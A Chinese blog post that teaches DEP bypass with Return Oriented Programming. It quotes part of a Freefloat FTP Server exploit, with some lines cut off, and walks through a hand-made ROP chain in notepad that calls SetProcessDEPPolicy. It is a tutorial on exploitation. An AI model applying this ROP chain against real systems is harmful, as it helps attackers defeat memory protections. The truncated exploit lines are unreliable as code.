学习DEP ROP

发布时间:2011-10-08 20:30:08

学习DEP ROP

DEPdata execution prevention)是数据执行保护的意思。通常情况下,不从默认堆和堆栈执行代码。硬件实施 DEP 检测从这些位置运行的代码,并在发现执行情况时引发异常。软件实施 DEP 可帮助阻止恶意代码利用 Windows 中的异常处理机制进行破坏。它的优点是可以帮助防止数据页执行代码。

如上所述,在溢出利用中没法直接执行堆栈上的代码。那如何才能绕过去呢?

没有溢出时,数据就只能作为数据。有溢出时,数据除了可以作为数据外,还可以作为地址和代码。在DEP出现之前的溢出利用中,大部分的数据解释为代码,只有一两个DWORD作为地址。一个是作为RET地址,另一个是SHE地址。在DEP的利用中,解释为地址的数据就很多了。这其中ROPReturn Oriented Programming技术就是这样的。

ROP技术就是把你所要的代码写成一系列地址形式,这些地址指向真正的代码。

这些引用的代码特点是都以RET结尾。

下图是http://www.exploit-db.com/exploits/17886/上的运用ROP的例子截图。

Freefloat FTP Server DEP Bypass

关键的几行如下:

buffer = "\x41" * 230

eip = pack('77f613ac) # RETN - shlwapi

rop = "\x42" * 8 # compensate

rop += pack('77c2362c) # POP EBX, RETN - msvcirt

rop += "\xff\xff\xff\xff"

rop += pack('77c127e1) # INC EBX, RETN

rop += pack('

rop += pack('7c8622a4) # SetProcessDEPPolicy

rop += pack('

rop += pack('

rop += pack('

rop += pack('

rop += pack('

nops = "\x90" * 10

junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))

由于这是国外的一个例子,不适用于我现在的环境。因为我没装python、没装Freefloat FTP Server。而且我也不想为了学习DEP ROP装这些东西,根本没必要。

我现在的系统是XPSP3,所以找了系统上的记事本notepad作为练习目标。

第一个测试

载入记事本后,先在CPUCtrl+GESP,并把ESP附近用NOP填充。再设置ESP处为新EIPF8单步运行,出现访问违规错误。这说明堆栈里不可以运行代码。

第二个测试

载入后,随便在代码中用汇编写入如下指令:

POP EBX, RETN

INC EBX, RETN

POP EBP, RETN

POP EDI, RETN

POP ESI, RETN

PUSHAD , RETN

我找了几个地方写入,如下:

010073AB 5B pop ebx

010073AC C3 retn

010073BB 43 inc ebx

010073BC C3 retn

010073C8 5D pop ebp

010073C9 C3 retn

010073E6 5F pop edi

010073E7 C3 retn

010073F8 5E pop esi

010073F9 C3 retn

01007406 60 pushad

01007407 C3 retn

因为我只是验证这个方法,所以没去找这些指令的地址。

上面构造的代码地址就是假设找到的地址。

Ret地址可以用上面ret前面的地址。

再更改ESP后两位为0。因为刚载人ESP离堆栈底太近,这样是为了抬高栈顶。

我这里改后是ESP=0007FF00

按布局把上面的地址输入ESP所指向的堆栈里,如下:

0007FF00 010073AB notepad.010073AB POP EBX, RETN

0007FF04 FFFFFFFF ebx=FFFFFFFF

0007FF08 010073BB notepad.010073BB INC EBX, RETN ;ebx=0

0007FF0C 010073C8 notepad.010073C8 POP EBP, RETN ebp= SetProcessDEPPolicy

0007FF10 7C8622A4 kernel32.SetProcessDEPPolicy

0007FF14 010073E6 notepad.010073E6 POP EDI, RETN

0007FF18 010073E7 notepad.010073E7 RETN

0007FF1C 010073F8 notepad.010073F8 POP ESI, RETN

0007FF20 010073E7 notepad.010073E7 RETN

0007FF24 01007406 notepad.01007406 PUSHAD , RETN

0007FF28 90909090 ;这里开始就可以执行代码了

0007FF2C 90909090

0007FF30 90909090

找一个ret地址为新EIP,这里用“010073E7 C3 retn”。

F7单步运行

运行到

01007406 60 pushad 这步过后,堆栈截图如下

01007407 C3 retn

PUSHAD (Push All 32-bit General Registers)

指令格式:PUSHAD       ;80386+

其功能是把寄存器EAXECXEDXEBXESPEBPESIEDI等压栈。

0007FF08 EDI

0007FF0C ESI

0007FF10 EBP = kernel32.SetProcessDEPPolicy

0007FF14 ESP

0007FF18 EBX =0 ;构造SetProcessDEPPolicy参数

0007FF1C EDX

0007FF20 ECX

0007FF24 EAX

0007FF28

精心构造参数,使SetProcessDEPPolicy 执行时满足禁止DEP的条件,

执行完SetProcessDEPPolicy后,就可以执行007FF28开始的代码而不会出现访问错误了。

学习DEP ROP

相关推荐